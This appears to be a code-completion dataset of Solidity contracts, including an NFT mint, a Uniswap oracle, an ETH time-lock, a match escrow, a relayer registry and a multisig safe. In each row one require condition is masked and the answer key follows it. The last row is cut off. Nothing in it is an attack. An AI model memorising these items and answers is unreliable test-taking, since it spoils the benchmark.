ContractData public contractData = ContractData(unicode"Cup of Dirt", unicode"It's a cup... of dirt. With this cup, you now own the dirt in the cup. The dirt represents land in the metaverse. Land that will never be usable. There will be no game. Scarce digital land is stupid. This is not a joke. RUG. DIRT. DIRT. DIRT. DIRT. DIRT. DIRT.", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/profile/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "https://indeliblelabs-prod.s3.us-east-2.amazonaws.com/banner/e431f4ea-6e56-449d-ba9b-107b3e6c48fc", "", 500, "0x01A1A79E83e26A9DE566F65A1AcDf02DeC449D26");
constructor() ERC721A(unicode"Cup of Dirt", unicode"COD") {
}
modifier whenPublicMintActive() {
}
function rarityGen(uint256 _randinput, uint256 _rarityTier)
internal
view
returns (uint256)
{
}
function _extraData(
address from,
address to,
uint24 previousExtraData
) internal view virtual override returns (uint24) {
}
function getTokenSeed(uint256 _tokenId) internal view returns (uint24) {
}
function tokenIdToHash(
uint256 _tokenId
) public view returns (string memory) {
}
function mint(uint256 _count) external payable nonReentrant whenPublicMintActive returns (uint256) {
}
function isPublicMintActive() public view returns (bool) {
}
function hashToSVG(string memory _hash)
public
view
returns (string memory)
{
}
function hashToMetadata(string memory _hash)
public
view
returns (string memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
override
returns (string memory)
{
}
function contractURI()
public
view
returns (string memory)
{
}
function tokenIdToSVG(uint256 _tokenId)
public
view
returns (string memory)
{
}
function traitDetails(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (Trait memory)
{
}
function traitData(uint256 _layerIndex, uint256 _traitIndex)
public
view
returns (string memory)
{
}
function addLayer(uint256 _layerIndex, TraitDTO[] memory traits)
public
onlyOwner
{
require(<FILL_ME>)
require(traits.length < 100, "There cannot be over 99 traits per layer");
address[] memory dataPointers = new address[](traits.length);
for (uint256 i = 0; i < traits.length; i++) {
dataPointers[i] = SSTORE2.write(traits[i].data);
_traitDetails[_layerIndex][i] = Trait(traits[i].name, traits[i].mimetype);
}
_traitDataPointers[_layerIndex] = dataPointers;
return;
}
function addTrait(uint256 _layerIndex, uint256 _traitIndex, TraitDTO memory trait)
public
onlyOwner
{
}
function changeContractData(ContractData memory _contractData) external onlyOwner {
}
function changeMaxPerAddress(uint256 _maxPerAddress) external onlyOwner {
}
function changeBaseURI(string memory _baseURI) external onlyOwner {
}
function changeRenderOfTokenId(uint256 _tokenId, bool _renderOffChain) external {
}
function toggleWrapSVG() external onlyOwner {
}
function toggleMinting() external onlyOwner {
}
function withdraw() external onlyOwner nonReentrant {
}
}
| TIERS[_layerIndex].length==traits.length,"Traits size does not match tiers for this index" | 487,539 | TIERS[_layerIndex].length==traits.length |
'UNIV2: Invalid Pair' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '../libraries/FixedPoint.sol';
import '../interfaces/IPriceOracleAggregator.sol';
import '../interfaces/IUniswapV2Pair.sol';
import '../interfaces/IUniswapV2Factory.sol';
interface IERC20Metadata {
function decimals() external view returns (uint8);
}
library UniswapV2Library {
using SafeMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(
address tokenA,
address tokenB
) internal pure returns (address token0, address token1) {
}
// Less efficient than the CREATE2 method below
function pairFor(
address factory,
address tokenA,
address tokenB
) internal view returns (address pair) {
}
// calculates the CREATE2 address for a pair without making any external calls
function pairForCreate2(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
}
// fetches and sorts the reserves for a pair
function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) internal pure returns (uint256 amountB) {
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
)
internal
view
returns (
uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp
)
{
}
}
contract UniswapV2Oracle is IOracle, Ownable {
using FixedPoint for *;
/// @notice oracle that returns price in USD
IPriceOracleAggregator public immutable aggregator;
uint256 public PERIOD = 1; // 1 hour TWAP (time-weighted average price)
uint256 public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end
bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale
IUniswapV2Pair public immutable pair;
bool public isFirstToken;
address public immutable token0;
address public immutable token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(
address _factory,
address _tokenA,
address _tokenB,
address _priceOracleAggregator
) {
require(
_priceOracleAggregator != address(0),
'UNIV2: Invalid Aggregator'
);
require(_factory != address(0), 'UNIV2: Invalid factory');
require(_tokenA != address(0), 'UNIV2: Invalid tokenA');
require(_tokenB != address(0), 'UNIV2: Invalid tokenB');
aggregator = IPriceOracleAggregator(_priceOracleAggregator);
IUniswapV2Pair _pair = IUniswapV2Pair(
UniswapV2Library.pairFor(_factory, _tokenA, _tokenB)
);
require(<FILL_ME>)
pair = _pair;
token0 = _pair.token0();
token1 = _pair.token1();
price0CumulativeLast = _pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = _pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = _pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, 'UNIV2: NO_RESERVES'); // ensure that there's liquidity in the pair
if (_tokenA == _pair.token0()) {
isFirstToken = true;
} else {
isFirstToken = false;
}
}
function setPeriod(uint256 _period) external onlyOwner {
}
function setConsultLeniency(uint256 _consult_leniency) external onlyOwner {
}
function setAllowStaleConsults(
bool _allow_stale_consults
) external onlyOwner {
}
// Check if update() can be called instead of wasting gas calling it
function canUpdate() public view returns (bool) {
}
function update() external {
}
/// @dev returns the latest price of asset
function viewPriceInUSD() external view override returns (uint256 price) {
}
}
| address(_pair)!=address(0),'UNIV2: Invalid Pair' | 487,554 | address(_pair)!=address(0) |
'UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE' | // SPDX-License-Identifier: MIT
pragma solidity 0.8.17;
import '@openzeppelin/contracts/utils/math/SafeMath.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '../libraries/FixedPoint.sol';
import '../interfaces/IPriceOracleAggregator.sol';
import '../interfaces/IUniswapV2Pair.sol';
import '../interfaces/IUniswapV2Factory.sol';
interface IERC20Metadata {
function decimals() external view returns (uint8);
}
library UniswapV2Library {
using SafeMath for uint256;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(
address tokenA,
address tokenB
) internal pure returns (address token0, address token1) {
}
// Less efficient than the CREATE2 method below
function pairFor(
address factory,
address tokenA,
address tokenB
) internal view returns (address pair) {
}
// calculates the CREATE2 address for a pair without making any external calls
function pairForCreate2(
address factory,
address tokenA,
address tokenB
) internal pure returns (address pair) {
}
// fetches and sorts the reserves for a pair
function getReserves(
address factory,
address tokenA,
address tokenB
) internal view returns (uint256 reserveA, uint256 reserveB) {
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) internal pure returns (uint256 amountB) {
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountOut) {
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) internal pure returns (uint256 amountIn) {
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(
address factory,
uint256 amountIn,
address[] memory path
) internal view returns (uint256[] memory amounts) {
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(
address factory,
uint256 amountOut,
address[] memory path
) internal view returns (uint256[] memory amounts) {
}
}
library UniswapV2OracleLibrary {
using FixedPoint for *;
// helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1]
function currentBlockTimestamp() internal view returns (uint32) {
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(
address pair
)
internal
view
returns (
uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp
)
{
}
}
contract UniswapV2Oracle is IOracle, Ownable {
using FixedPoint for *;
/// @notice oracle that returns price in USD
IPriceOracleAggregator public immutable aggregator;
uint256 public PERIOD = 1; // 1 hour TWAP (time-weighted average price)
uint256 public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end
bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale
IUniswapV2Pair public immutable pair;
bool public isFirstToken;
address public immutable token0;
address public immutable token1;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
uint32 public blockTimestampLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(
address _factory,
address _tokenA,
address _tokenB,
address _priceOracleAggregator
) {
}
function setPeriod(uint256 _period) external onlyOwner {
}
function setConsultLeniency(uint256 _consult_leniency) external onlyOwner {
}
function setAllowStaleConsults(
bool _allow_stale_consults
) external onlyOwner {
}
// Check if update() can be called instead of wasting gas calling it
function canUpdate() public view returns (bool) {
}
function update() external {
}
/// @dev returns the latest price of asset
function viewPriceInUSD() external view override returns (uint256 price) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that the price is not stale
require(<FILL_ME>)
if (isFirstToken) {
price =
(aggregator.viewPriceInUSD(token1) *
(10 ** IERC20Metadata(token0).decimals())) /
(
price1Average
.mul(10 ** IERC20Metadata(token1).decimals())
.decode144()
);
} else {
price =
(aggregator.viewPriceInUSD(token0) *
(10 ** IERC20Metadata(token1).decimals())) /
(
price0Average
.mul(10 ** IERC20Metadata(token0).decimals())
.decode144()
);
}
}
}
| (timeElapsed<(PERIOD+CONSULT_LENIENCY))||ALLOW_STALE_CONSULTS,'UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE' | 487,554 | (timeElapsed<(PERIOD+CONSULT_LENIENCY))||ALLOW_STALE_CONSULTS |
"Already Withdrawn" | //SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.4;
contract Hodl {
uint256 id;
struct Details {
uint256 id;
uint256 unlockTime;
uint256 lockedTime;
address owner;
uint256 amount;
bool withdrawn;
}
mapping(uint256 => Details) public lockups;
mapping(address => uint256[]) public depositIds;
event Deposited(
uint256 id,
uint256 unlockTime,
uint256 lockedTime,
address owner,
uint256 amount,
bool withdrawn
);
event Withdrawn(uint256 id, uint256 amount);
/**
*@dev function deposit in contract
*@param _duration {uint256} time duration for token should be locked
*/
function deposit(uint256 _duration) public payable {
}
/**
*@dev function withdraw in contract
*@param _id {uint256} lockup id which points to particular lockup
*/
function withdraw(uint256 _id) public {
Details memory _lockups = lockups[_id];
require(<FILL_ME>)
require(msg.sender == _lockups.owner, "Unauthorized Access");
require(
block.timestamp >= _lockups.unlockTime,
"You can't withdraw ethers before unlocktime"
);
lockups[_id].withdrawn = true;
payable(msg.sender).transfer(_lockups.amount);
emit Withdrawn(_id, _lockups.amount);
}
}
| !_lockups.withdrawn,"Already Withdrawn" | 487,556 | !_lockups.withdrawn |
"Not all agree" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol";
import "@chainlink/contracts/src/v0.8/ConfirmedOwner.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract Match is ChainlinkClient, ConfirmedOwner {
using SafeERC20 for ERC20;
using Chainlink for Chainlink.Request;
bool public announced = false;
uint256 public announcementHours;
address public immutable CHALLENGER_1;
address public immutable CHALLENGER_2;
address public winner;
mapping(address => bool) public contingencyVote;
address public constant USDT_ADDRESS = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address private constant CHAINLINK_TOKEN = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
address private constant CHAINLINK_ORACLE = 0x1db329cDE457D68B872766F4e12F9532BCA9149b;
bytes32 private constant jobId = "2be3d99009014444a354480991038dac";
uint256 public fee = (14 * LINK_DIVISIBILITY) / 10; // 0,1 * 10**18 (Varies by network and job)
string private constant API_URL = "https://api.derektoyzboxing.com/result";
string private constant API_RES_PATH = "data,winner"; // JSONPath expression with comma(,) delimited string for nested objects
int256 private constant API_RES_MULTIPLIER = 1; // for removing decimals of the result, mandatory
event ResultAnnounced(address winner);
event VoteWinner(uint256 winner, address voter);
address private _owner;
constructor(address challenger_1, address challenger_2, uint256 _announcementHours) ConfirmedOwner(msg.sender) {
}
modifier onlyOwnerCheck() {
}
modifier onlyOwnerOrChallenger() {
}
function voteForContingency(bool vote) external onlyOwnerOrChallenger {
}
function contingency() external onlyOwnerCheck {
// check all agree
require(<FILL_ME>)
uint256 amount = getContractUSDTBalance();
ERC20(USDT_ADDRESS).safeTransfer(msg.sender, amount);
}
// Create a Chainlink request to retrieve API response
function requestWinner() internal returns (bytes32 requestId) {
}
// Receive the response in the form of uint256
function fulfill(
bytes32 _requestId,
uint256 _result
) public recordChainlinkFulfillment(_requestId) {
}
//Transfer USDT to winner
function transferToWinner() external onlyOwnerOrChallenger{
}
//Allow withdraw of Link tokens from the contract
function withdrawLink() external onlyOwnerCheck {
}
function announceResult() external onlyOwnerOrChallenger returns(bytes32) {
}
function getContractUSDTBalance() public view returns (uint256) {
}
function getContractLINKBalance() external view returns (uint256) {
}
function updateLinkFee(uint256 updatedFee) external onlyOwnerCheck {
}
}
| contingencyVote[_owner]==true&&contingencyVote[CHALLENGER_1]==true&&contingencyVote[CHALLENGER_2]==true,"Not all agree" | 487,580 | contingencyVote[_owner]==true&&contingencyVote[CHALLENGER_1]==true&&contingencyVote[CHALLENGER_2]==true |
"The relayer already exists" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/access/Ownable.sol";
contract RelayerRegistry is Ownable {
mapping(address => bool) public isRelayer;
event RelayerAdded(address indexed relayer);
event RelayerRemoved(address indexed relayer);
/**
@dev Add a new relayer.
@param _relayer A new relayer address
*/
function add(address _relayer) public onlyOwner {
require(<FILL_ME>)
isRelayer[_relayer] = true;
emit RelayerAdded(_relayer);
}
/**
@dev Remove a new relayer.
@param _relayer A new relayer address to remove
*/
function remove(address _relayer) public onlyOwner {
}
/**
@dev Check address intance is a relayer?
@param _relayer A relayer address to check
@return true or false
*/
function isRelayerRegistered(address _relayer) external view returns (bool) {
}
}
| !isRelayer[_relayer],"The relayer already exists" | 487,600 | !isRelayer[_relayer] |
"The relayer does not exist" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/access/Ownable.sol";
contract RelayerRegistry is Ownable {
mapping(address => bool) public isRelayer;
event RelayerAdded(address indexed relayer);
event RelayerRemoved(address indexed relayer);
/**
@dev Add a new relayer.
@param _relayer A new relayer address
*/
function add(address _relayer) public onlyOwner {
}
/**
@dev Remove a new relayer.
@param _relayer A new relayer address to remove
*/
function remove(address _relayer) public onlyOwner {
require(<FILL_ME>)
isRelayer[_relayer] = false;
emit RelayerRemoved(_relayer);
}
/**
@dev Check address intance is a relayer?
@param _relayer A relayer address to check
@return true or false
*/
function isRelayerRegistered(address _relayer) external view returns (bool) {
}
}
| isRelayer[_relayer],"The relayer does not exist" | 487,600 | isRelayer[_relayer] |
"BIS: already has veto" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "../common/IFerrumDeployer.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "../common/SafeAmount.sol";
import "../common/signature/PublicMultiSigCheckable.sol";
/**
@notice Basic implementation of IronSafe
IronSafe is a multisig wallet with a veto functionality
*/
contract BasicIronSafe is PublicMultiSigCheckable {
using SafeERC20 for IERC20;
string constant public NAME = "FERRUM_BASIC_IRON_SAFE";
string constant public VERSION = "000.001";
address constant public DEFAULT_QUORUM_ID = address(1);
bytes32 public deploySalt; // To control the deployed address
mapping(address=>bool) public vetoRights;
uint256 public vetoRightsLength;
bool private _locked;
modifier locked() {
}
constructor () EIP712(NAME, VERSION) {
}
/**
@notice Allow the contract to receive ETH
*/
receive() external payable {}
/**
@notice Override the initialize method to
*/
function initialize(
address /*quorumId*/,
uint64 /*groupId*/,
uint16 /*minSignatures*/,
uint8 /*ownerGroupId*/,
address[] calldata /*addresses*/
) public pure override {
}
bytes32 constant private SET_VETO = keccak256(
"SetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Sets the veto right
@param to The to
@param salt The salt
@param multiSignature The multiSignature
*/
function setVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
require(<FILL_ME>)
require(quorumSubscriptions[to].id != address(0), "BIS: Not a quorum subscriber");
bytes32 message = keccak256(
abi.encode(SET_VETO, to, salt, expiry));
verifyMsg(message, salt, multiSignature);
vetoRights[to] = true;
vetoRightsLength += 1;
}
bytes32 constant private UNSET_VETO = keccak256(
"UnsetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function unsetVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
bytes32 constant private SEND_ETH_SIGNED_METHOD = keccak256(
"SendEthSignedMethod(address to,uint256 amount,bytes32 salt,uint64 expiry)");
/**
@notice Sent ETH
@param to The receiver
@param amount The amount
@param salt The signature salt
@param multiSignature The multi signature
*/
function sendEthSigned(address to, uint256 amount,
bytes32 salt, uint64 expiry, bytes memory multiSignature)
external expiryRange(expiry) locked {
}
bytes32 constant private SEND_SIGNED_METHOD = keccak256(
"SendSignedMethod(address to,address token,uint256 amount,bytes32 salt,uint64 expiry)");
function sendSigned(address to, address token, uint256 amount,
bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
/**
@notice Removes an address from the quorum. Note the number of addresses
in the quorum cannot drop below minSignatures.
For owned quorums, only owning quorum can execute this action. For non-owned
only quorum itself.
Also removes veto right if _address is a veto holder.
@param _address The address to remove
@param salt The signature salt
@param expiry The expiry
@param multiSignature The multisig encoded signature
*/
function internalRemoveFromQuorum(
address _address,
bytes32 salt,
uint64 expiry,
bytes memory multiSignature
) internal virtual override {
}
/*
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function _unsetVeto(address to
) internal {
}
function verifyMsg(bytes32 message, bytes32 salt, bytes memory multisig
) internal {
}
/**
@notice Override to use the veto signatures
@param message The message to verify
@param salt The salt to be unique
@param expectedGroupId The expected group ID
@param multiSignature The signatures formatted as a multisig
*/
function verifyUniqueSalt(
bytes32 message,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
function verifyUniqueSaltWithQuorumId(
bytes32 message,
address expectedQuorumId,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
}
| !vetoRights[to],"BIS: already has veto" | 487,660 | !vetoRights[to] |
"BIS: Not a quorum subscriber" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "../common/IFerrumDeployer.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "../common/SafeAmount.sol";
import "../common/signature/PublicMultiSigCheckable.sol";
/**
@notice Basic implementation of IronSafe
IronSafe is a multisig wallet with a veto functionality
*/
contract BasicIronSafe is PublicMultiSigCheckable {
using SafeERC20 for IERC20;
string constant public NAME = "FERRUM_BASIC_IRON_SAFE";
string constant public VERSION = "000.001";
address constant public DEFAULT_QUORUM_ID = address(1);
bytes32 public deploySalt; // To control the deployed address
mapping(address=>bool) public vetoRights;
uint256 public vetoRightsLength;
bool private _locked;
modifier locked() {
}
constructor () EIP712(NAME, VERSION) {
}
/**
@notice Allow the contract to receive ETH
*/
receive() external payable {}
/**
@notice Override the initialize method to
*/
function initialize(
address /*quorumId*/,
uint64 /*groupId*/,
uint16 /*minSignatures*/,
uint8 /*ownerGroupId*/,
address[] calldata /*addresses*/
) public pure override {
}
bytes32 constant private SET_VETO = keccak256(
"SetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Sets the veto right
@param to The to
@param salt The salt
@param multiSignature The multiSignature
*/
function setVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
require(!vetoRights[to], "BIS: already has veto");
require(<FILL_ME>)
bytes32 message = keccak256(
abi.encode(SET_VETO, to, salt, expiry));
verifyMsg(message, salt, multiSignature);
vetoRights[to] = true;
vetoRightsLength += 1;
}
bytes32 constant private UNSET_VETO = keccak256(
"UnsetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function unsetVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
bytes32 constant private SEND_ETH_SIGNED_METHOD = keccak256(
"SendEthSignedMethod(address to,uint256 amount,bytes32 salt,uint64 expiry)");
/**
@notice Sent ETH
@param to The receiver
@param amount The amount
@param salt The signature salt
@param multiSignature The multi signature
*/
function sendEthSigned(address to, uint256 amount,
bytes32 salt, uint64 expiry, bytes memory multiSignature)
external expiryRange(expiry) locked {
}
bytes32 constant private SEND_SIGNED_METHOD = keccak256(
"SendSignedMethod(address to,address token,uint256 amount,bytes32 salt,uint64 expiry)");
function sendSigned(address to, address token, uint256 amount,
bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
/**
@notice Removes an address from the quorum. Note the number of addresses
in the quorum cannot drop below minSignatures.
For owned quorums, only owning quorum can execute this action. For non-owned
only quorum itself.
Also removes veto right if _address is a veto holder.
@param _address The address to remove
@param salt The signature salt
@param expiry The expiry
@param multiSignature The multisig encoded signature
*/
function internalRemoveFromQuorum(
address _address,
bytes32 salt,
uint64 expiry,
bytes memory multiSignature
) internal virtual override {
}
/*
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function _unsetVeto(address to
) internal {
}
function verifyMsg(bytes32 message, bytes32 salt, bytes memory multisig
) internal {
}
/**
@notice Override to use the veto signatures
@param message The message to verify
@param salt The salt to be unique
@param expectedGroupId The expected group ID
@param multiSignature The signatures formatted as a multisig
*/
function verifyUniqueSalt(
bytes32 message,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
function verifyUniqueSaltWithQuorumId(
bytes32 message,
address expectedQuorumId,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
}
| quorumSubscriptions[to].id!=address(0),"BIS: Not a quorum subscriber" | 487,660 | quorumSubscriptions[to].id!=address(0) |
"BSI: has no veto" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "../common/IFerrumDeployer.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "../common/SafeAmount.sol";
import "../common/signature/PublicMultiSigCheckable.sol";
/**
@notice Basic implementation of IronSafe
IronSafe is a multisig wallet with a veto functionality
*/
contract BasicIronSafe is PublicMultiSigCheckable {
using SafeERC20 for IERC20;
string constant public NAME = "FERRUM_BASIC_IRON_SAFE";
string constant public VERSION = "000.001";
address constant public DEFAULT_QUORUM_ID = address(1);
bytes32 public deploySalt; // To control the deployed address
mapping(address=>bool) public vetoRights;
uint256 public vetoRightsLength;
bool private _locked;
modifier locked() {
}
constructor () EIP712(NAME, VERSION) {
}
/**
@notice Allow the contract to receive ETH
*/
receive() external payable {}
/**
@notice Override the initialize method to
*/
function initialize(
address /*quorumId*/,
uint64 /*groupId*/,
uint16 /*minSignatures*/,
uint8 /*ownerGroupId*/,
address[] calldata /*addresses*/
) public pure override {
}
bytes32 constant private SET_VETO = keccak256(
"SetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Sets the veto right
@param to The to
@param salt The salt
@param multiSignature The multiSignature
*/
function setVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
bytes32 constant private UNSET_VETO = keccak256(
"UnsetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function unsetVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
require(<FILL_ME>)
bytes32 message = keccak256(
abi.encode(UNSET_VETO, to, salt, expiry));
verifyMsg(message, salt, multiSignature);
_unsetVeto(to);
}
bytes32 constant private SEND_ETH_SIGNED_METHOD = keccak256(
"SendEthSignedMethod(address to,uint256 amount,bytes32 salt,uint64 expiry)");
/**
@notice Sent ETH
@param to The receiver
@param amount The amount
@param salt The signature salt
@param multiSignature The multi signature
*/
function sendEthSigned(address to, uint256 amount,
bytes32 salt, uint64 expiry, bytes memory multiSignature)
external expiryRange(expiry) locked {
}
bytes32 constant private SEND_SIGNED_METHOD = keccak256(
"SendSignedMethod(address to,address token,uint256 amount,bytes32 salt,uint64 expiry)");
function sendSigned(address to, address token, uint256 amount,
bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
/**
@notice Removes an address from the quorum. Note the number of addresses
in the quorum cannot drop below minSignatures.
For owned quorums, only owning quorum can execute this action. For non-owned
only quorum itself.
Also removes veto right if _address is a veto holder.
@param _address The address to remove
@param salt The signature salt
@param expiry The expiry
@param multiSignature The multisig encoded signature
*/
function internalRemoveFromQuorum(
address _address,
bytes32 salt,
uint64 expiry,
bytes memory multiSignature
) internal virtual override {
}
/*
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function _unsetVeto(address to
) internal {
}
function verifyMsg(bytes32 message, bytes32 salt, bytes memory multisig
) internal {
}
/**
@notice Override to use the veto signatures
@param message The message to verify
@param salt The salt to be unique
@param expectedGroupId The expected group ID
@param multiSignature The signatures formatted as a multisig
*/
function verifyUniqueSalt(
bytes32 message,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
function verifyUniqueSaltWithQuorumId(
bytes32 message,
address expectedQuorumId,
bytes32 salt,
uint64 expectedGroupId,
bytes memory multiSignature
) internal override {
}
}
| vetoRights[to],"BSI: has no veto" | 487,660 | vetoRights[to] |
"MSC: Message already used" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "../common/IFerrumDeployer.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "../common/SafeAmount.sol";
import "../common/signature/PublicMultiSigCheckable.sol";
/**
@notice Basic implementation of IronSafe
IronSafe is a multisig wallet with a veto functionality
*/
contract BasicIronSafe is PublicMultiSigCheckable {
using SafeERC20 for IERC20;
string constant public NAME = "FERRUM_BASIC_IRON_SAFE";
string constant public VERSION = "000.001";
address constant public DEFAULT_QUORUM_ID = address(1);
bytes32 public deploySalt; // To control the deployed address
mapping(address=>bool) public vetoRights;
uint256 public vetoRightsLength;
bool private _locked;
modifier locked() {
}
constructor () EIP712(NAME, VERSION) {
}
/**
@notice Allow the contract to receive ETH
*/
receive() external payable {}
/**
@notice Override the initialize method to
*/
function initialize(
address /*quorumId*/,
uint64 /*groupId*/,
uint16 /*minSignatures*/,
uint8 /*ownerGroupId*/,
address[] calldata /*addresses*/
) public pure override {
}
bytes32 constant private SET_VETO = keccak256(
"SetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Sets the veto right
@param to The to
@param salt The salt
@param multiSignature The multiSignature
*/
function setVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
bytes32 constant private UNSET_VETO = keccak256(
"UnsetVeto(address to,bytes32 salt,uint64 expiry)");
/**
@notice Unset the veto right
@param to Who to set the veto to
@param salt The signature salt
@param expiry The signature expiry
@param multiSignature The multi signature
*/
function unsetVeto(address to, bytes32 salt, uint64 expiry, bytes memory multiSignature
) external expiryRange(expiry) {
}
bytes32 constant private SEND_ETH_SIGNED_METHOD = keccak256(
"SendEthSignedMethod(address to,uint256 amount,bytes32 salt,uint64 expiry)");
/**
@notice Sent ETH
@param to The receiver
@param amount The amount
@param salt The signature salt
@param multiSignature The multi signature
*/
function sendEthSigned(address to, uint256 amount,
